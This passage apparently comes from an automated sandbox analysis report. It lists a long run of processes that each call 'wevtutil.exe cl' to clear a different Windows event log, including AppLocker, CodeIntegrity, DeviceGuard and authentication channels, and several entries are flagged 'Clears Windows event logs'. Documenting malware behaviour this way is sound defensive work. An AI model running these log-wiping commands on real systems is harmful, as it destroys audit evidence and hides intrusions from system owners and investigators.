    wevtutil.exe cl "Microsoft-User Experience Virtualization-App Agent/Analytic"
    3⤵
    PID:6864
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-User Experience Virtualization-App Agent/Debug"
    3⤵
    PID:6700
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-User Experience Virtualization-App Agent/Operational"
    3⤵
    PID:4948
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-User Experience Virtualization-IPC/Operational"
    3⤵
    PID:6044
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-User Experience Virtualization-SQM Uploader/Analytic"
    3⤵
    PID:2860
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-User Experience Virtualization-SQM Uploader/Debug"
    3⤵
    PID:6480
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-User Experience Virtualization-SQM Uploader/Operational"
    3⤵
    PID:6280
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-AAD/Analytic"
    3⤵
    PID:6548
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-AAD/Operational"
    3⤵
    PID:3724
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-ADSI/Debug"
    3⤵
    PID:5736
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-ASN1/Operational"
    3⤵
    PID:6072
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-ATAPort/General"
    3⤵
    PID:8900
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-ATAPort/SATA-LPM"
    3⤵
    PID:9128
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-ActionQueue/Analytic"
    3⤵
    PID:9148
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-All-User-Install-Agent/Admin"
    3⤵
    PID:9196
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-AllJoyn/Debug"
    3⤵
    PID:8132
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-AllJoyn/Operational"
    3⤵
    PID:3608
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-AppHost/Admin"
    3⤵
    PID:6568
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-AppHost/ApplicationTracing"
    3⤵
    PID:6416
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-AppHost/Diagnostic"
    3⤵
    PID:6640
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-AppHost/Internal"
    3⤵
    PID:1360
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-AppID/Operational"
    3⤵
    PID:7840
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-AppLocker/EXE and DLL"
    3⤵
    PID:7112
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-AppLocker/MSI and Script"
    3⤵
    PID:6372
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-AppLocker/Packaged app-Deployment"
    3⤵
    PID:6748
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-AppLocker/Packaged app-Execution"
    3⤵
    PID:5588
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-AppModel-Runtime/Admin"
    3⤵
    PID:8008
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-AppModel-Runtime/Analytic"
    3⤵
    - Clears Windows event logs
    PID:6928
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-AppModel-Runtime/Debug"
    3⤵
    PID:7244
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-AppModel-Runtime/Diagnostics"
    3⤵
    PID:3208
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-AppModel-State/Debug"
    3⤵
    PID:4976
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-AppModel-State/Diagnostic"
    3⤵
    PID:5176
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-AppReadiness/Admin"
    3⤵
    PID:1160
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-AppReadiness/Debug"
    3⤵
    PID:7008
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-AppReadiness/Operational"
    3⤵
    PID:8420
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-AppSruProv"
    3⤵
    PID:8464
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-AppXDeployment/Diagnostic"
    3⤵
    PID:5024
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-AppXDeployment/Operational"
    3⤵
    PID:2748
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-AppXDeploymentServer/Debug"
    3⤵
    PID:3088
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-AppXDeploymentServer/Diagnostic"
    3⤵
    PID:7892
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-AppXDeploymentServer/Operational"
    3⤵
    PID:9244
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-AppXDeploymentServer/Restricted"
    3⤵
    PID:9292
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-ApplicabilityEngine/Analytic"
    3⤵
    PID:9364
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-ApplicabilityEngine/Operational"
    3⤵
    PID:9388
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Application Server-Applications/Admin"
    3⤵
    PID:9448
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Application Server-Applications/Analytic"
    3⤵
    PID:9488
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Application Server-Applications/Debug"
    3⤵
    PID:9880
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Application Server-Applications/Operational"
    3⤵
    PID:9932
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Application-Experience/Compatibility-Infrastructure-Debug"
    3⤵
    PID:9988
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Application-Experience/Program-Compatibility-Assistant"
    3⤵
    PID:1956
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Application-Experience/Program-Compatibility-Assistant/Analytic"
    3⤵
    - Clears Windows event logs
    PID:10124
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Application-Experience/Program-Compatibility-Assistant/Trace"
    3⤵
    PID:5500
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Application-Experience/Program-Compatibility-Troubleshooter"
    3⤵
    PID:7128
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Application-Experience/Program-Inventory"
    3⤵
    PID:7820
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Application-Experience/Program-Telemetry"
    3⤵
    PID:7372
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Application-Experience/Steps-Recorder"
    3⤵
    PID:7336
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-AppxPackaging/Debug"
    3⤵
    - Clears Windows event logs
    PID:5824
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-AppxPackaging/Operational"
    3⤵
    PID:9840
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-AppxPackaging/Performance"
    3⤵
    PID:9796
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-AssignedAccess/Admin"
    3⤵
    PID:9772
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-AssignedAccess/Operational"
    3⤵
    PID:6404
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-AssignedAccessBroker/Admin"
    3⤵
    PID:9536
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-AssignedAccessBroker/Operational"
    3⤵
    PID:9636
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-AsynchronousCausality/Causality"
    3⤵
    PID:6624
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Audio/CaptureMonitor"
    3⤵
    PID:8152
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Audio/GlitchDetection"
    3⤵
    PID:6612
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Audio/Informational"
    3⤵
    PID:5704
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Audio/Operational"
    3⤵
    PID:8296
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Audio/Performance"
    3⤵
    - Clears Windows event logs
    PID:6956
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Audio/PlaybackManager"
    3⤵
    PID:8332
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Audit/Analytic"
    3⤵
    PID:8364
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Authentication User Interface/Operational"
    3⤵
    PID:8520
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Authentication/AuthenticationPolicyFailures-DomainController"
    3⤵
    PID:9920
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Authentication/ProtectedUser-Client"
    3⤵
    PID:4996
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Authentication/ProtectedUserFailures-DomainController"
    3⤵
    PID:4172
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Authentication/ProtectedUserSuccesses-DomainController"
    3⤵
    PID:6068
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-AxInstallService/Log"
    3⤵
    PID:2304
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-BTH-BTHPORT/HCI"
    3⤵
    - Clears Windows event logs
    PID:1900
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-BTH-BTHPORT/L2CAP"
    3⤵
    PID:4444
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-BTH-BTHUSB/Diagnostic"
    3⤵
    PID:7092
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-BTH-BTHUSB/Performance"
    3⤵
    PID:8828
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-BackgroundTaskInfrastructure/Diagnostic"
    3⤵
    PID:9864
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-BackgroundTaskInfrastructure/Operational"
    3⤵
    PID:6600
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-BackgroundTransfer-ContentPrefetcher/Operational"
    3⤵
    PID:8964
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Backup"
    3⤵
    PID:9072
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Base-Filtering-Engine-Connections/Operational"
    3⤵
    PID:6916
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Base-Filtering-Engine-Resource-Flows/Operational"
    3⤵
    PID:8500
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Battery/Diagnostic"
    3⤵
    PID:7624
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Biometrics/Analytic"
    3⤵
    PID:272
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Biometrics/Operational"
    3⤵
    PID:3044
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-BitLocker-DrivePreparationTool/Admin"
    3⤵
    PID:6992
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-BitLocker-DrivePreparationTool/Operational"
    3⤵
    PID:5720
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-BitLocker-Driver-Performance/Operational"
    3⤵
    PID:10168
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-BitLocker/BitLocker Management"
    3⤵
    PID:4232
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-BitLocker/BitLocker Operational"
    3⤵
    PID:9892
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-BitLocker/Tracing"
    3⤵
    PID:8812
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Bits-Client/Analytic"
    3⤵
    - Clears Windows event logs
    PID:8796
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Bits-Client/Operational"
    3⤵
    PID:2676
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Bluetooth-BthLEPrepairing/Operational"
    3⤵
    PID:4464
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Bluetooth-Bthmini/Operational"
    3⤵
    PID:7744
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Bluetooth-MTPEnum/Operational"
    3⤵
    PID:6008
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Bluetooth-Policy/Operational"
    3⤵
    PID:7276
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-BranchCache/Operational"
    3⤵
    PID:4072
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-BranchCacheClientEventProvider/Diagnostic"
    3⤵
    PID:5628
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-BranchCacheEventProvider/Diagnostic"
    3⤵
    PID:2200
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-BranchCacheMonitoring/Analytic"
    3⤵
    PID:1020
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-BranchCacheSMB/Analytic"
    3⤵
    PID:4520
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-BranchCacheSMB/Operational"
    3⤵
    - Clears Windows event logs
    PID:10144
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-CAPI2/Catalog Database Debug"
    3⤵
    PID:5000
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-CAPI2/Operational"
    3⤵
    PID:10172
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-CDROM/Operational"
    3⤵
    PID:852
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-COM/Analytic"
    3⤵
    PID:5288
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-COM/ApartmentInitialize"
    3⤵
    PID:5184
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-COM/ApartmentUninitialize"
    3⤵
    PID:3948
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-COM/Call"
    3⤵
    - Clears Windows event logs
    PID:5232
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-COM/CreateInstance"
    3⤵
    PID:5680
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-COM/ExtensionCatalog"
    3⤵
    PID:8724
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-COM/FreeUnusedLibrary"
    3⤵
    PID:3604
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-COM/RundownInstrumentation"
    3⤵
    PID:6048
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-COMRuntime/Activations"
    3⤵
    PID:5564
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-COMRuntime/MessageProcessing"
    3⤵
    PID:5884
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-COMRuntime/Tracing"
    3⤵
    PID:7580
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-CertPoleEng/Operational"
    3⤵
    PID:1524
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-CertificateServicesClient-CredentialRoaming/Operational"
    3⤵
    PID:10080
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-CertificateServicesClient-Lifecycle-System/Operational"
    3⤵
    PID:7772
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-CertificateServicesClient-Lifecycle-User/Operational"
    3⤵
    PID:7780
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Cleanmgr/Diagnostic"
    3⤵
    PID:7932
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-ClearTypeTextTuner/Diagnostic"
    3⤵
    PID:7796
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-CloudStore/Debug"
    3⤵
    PID:8068
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-CloudStore/Operational"
    3⤵
    PID:8240
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-CmiSetup/Analytic"
    3⤵
    PID:8056
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-CodeIntegrity/Operational"
    3⤵
    PID:5144
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-CodeIntegrity/Verbose"
    3⤵
    - Clears Windows event logs
    PID:5128
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-ComDlg32/Analytic"
    3⤵
    PID:280
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-ComDlg32/Debug"
    3⤵
    PID:7320
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Compat-Appraiser/Analytic"
    3⤵
    PID:5536
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Compat-Appraiser/Operational"
    3⤵
    PID:5396
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Containers-BindFlt/Debug"
    3⤵
    PID:6896
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Containers-BindFlt/Operational"
    3⤵
    PID:2524
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Containers-Wcifs/Debug"
    3⤵
    PID:2016
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Containers-Wcifs/Operational"
    3⤵
    - Clears Windows event logs
    PID:7080
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Containers-Wcnfs/Debug"
    3⤵
    PID:4688
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Containers-Wcnfs/Operational"
    3⤵
    PID:932
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-CoreApplication/Diagnostic"
    3⤵
    PID:8896
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-CoreApplication/Operational"
    3⤵
    - Clears Windows event logs
    PID:8876
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-CoreApplication/Tracing"
    3⤵
    PID:9148
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-CoreSystem-SmsRouter-Events/Debug"
    3⤵
    PID:9164
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-CoreSystem-SmsRouter-Events/Operational"
    3⤵
    PID:9116
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-CoreWindow/Analytic"
    3⤵
    - Clears Windows event logs
    PID:4436
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-CoreWindow/Debug"
    3⤵
    PID:8156
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-CorruptedFileRecovery-Client/Operational"
    3⤵
    PID:3608
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-CorruptedFileRecovery-Server/Operational"
    3⤵
    PID:6356
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Crashdump/Operational"
    3⤵
    PID:7072
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-CredUI/Diagnostic"
    3⤵
    PID:3680
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Crypto-BCRYPT/Analytic"
    3⤵
    PID:7720
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Crypto-CNG/Analytic"
    3⤵
    PID:7808
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Crypto-DPAPI/BackUpKeySvc"
    3⤵
    - Clears Windows event logs
    PID:4312
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Crypto-DPAPI/Debug"
    3⤵
    PID:2572
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Crypto-DPAPI/Operational"
    3⤵
    PID:7016
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Crypto-DSSEnh/Analytic"
    3⤵
    PID:7632
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Crypto-NCrypt/Operational"
    3⤵
    PID:7520
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Crypto-RNG/Analytic"
    3⤵
    PID:8044
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Crypto-RSAEnh/Analytic"
    3⤵
    PID:6692
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-D3D10Level9/Analytic"
    3⤵
    PID:6676
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-D3D10Level9/PerfTiming"
    3⤵
    PID:7012
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DAL-Provider/Analytic"
    3⤵
    PID:8096
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DAL-Provider/Operational"
    3⤵
    PID:8204
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DAMM/Diagnostic"
    3⤵
    PID:4748
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DCLocator/Debug"
    3⤵
    PID:5980
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DDisplay/Analytic"
    3⤵
    PID:8472
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DDisplay/Logging"
    3⤵
    PID:5024
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DLNA-Namespace/Analytic"
    3⤵
    PID:6904
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DNS-Client/Operational"
    3⤵
    PID:292
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DSC/Admin"
    3⤵
    PID:9284
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DSC/Analytic"
    3⤵
    PID:9260
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DSC/Debug"
    3⤵
    PID:9376
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DSC/Operational"
    3⤵
    PID:9348
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DUI/Diagnostic"
    3⤵
    PID:9396
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DUSER/Diagnostic"
    3⤵
    PID:9416
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DXGI/Analytic"
    3⤵
    PID:9456
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DXGI/Logging"
    3⤵
    PID:9488
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DXP/Analytic"
    3⤵
    PID:9896
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Data-Pdf/Debug"
    3⤵
    PID:9940
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DataIntegrityScan/Admin"
    3⤵
    PID:9948
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DataIntegrityScan/CrashRecovery"
    3⤵
    PID:1400
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DateTimeControlPanel/Analytic"
    3⤵
    PID:10128
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DateTimeControlPanel/Debug"
    3⤵
    PID:4900
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DateTimeControlPanel/Operational"
    3⤵
    PID:5892
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Deduplication/Diagnostic"
    3⤵
    PID:4740
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Deduplication/Operational"
    3⤵
    PID:6856
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Deduplication/Performance"
    3⤵
    PID:7352
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Deduplication/Scrubbing"
    3⤵
    PID:9840
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Defrag-Core/Debug"
    3⤵
    PID:9836
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Deplorch/Analytic"
    3⤵
    PID:6728
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DesktopActivityModerator/Diagnostic"
    3⤵
    PID:4052
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DesktopWindowManager-Diag/Diagnostic"
    3⤵
    PID:4500
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DeviceAssociationService/Performance"
    3⤵
    PID:9540
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DeviceConfidence/Analytic"
    3⤵
    PID:9580
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DeviceGuard/Operational"
    3⤵
    PID:9568
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DeviceGuard/Verbose"
    3⤵
    - Clears Windows event logs
    PID:9640
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider/Admin"
    3⤵
    PID:9528
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider/Debug"
    3⤵
    PID:224
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider/Operational"
    3⤵
    PID:552
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DeviceSetupManager/Admin"
    3⤵
    PID:6704
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DeviceSetupManager/Analytic"
    3⤵
    PID:5896
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DeviceSetupManager/Debug"
    3⤵
    PID:5440
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DeviceSetupManager/Operational"
    3⤵
    PID:7708
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DeviceSync/Analytic"
    3⤵
    PID:6612
- - C:\Windows\system32\wevtutil.exe
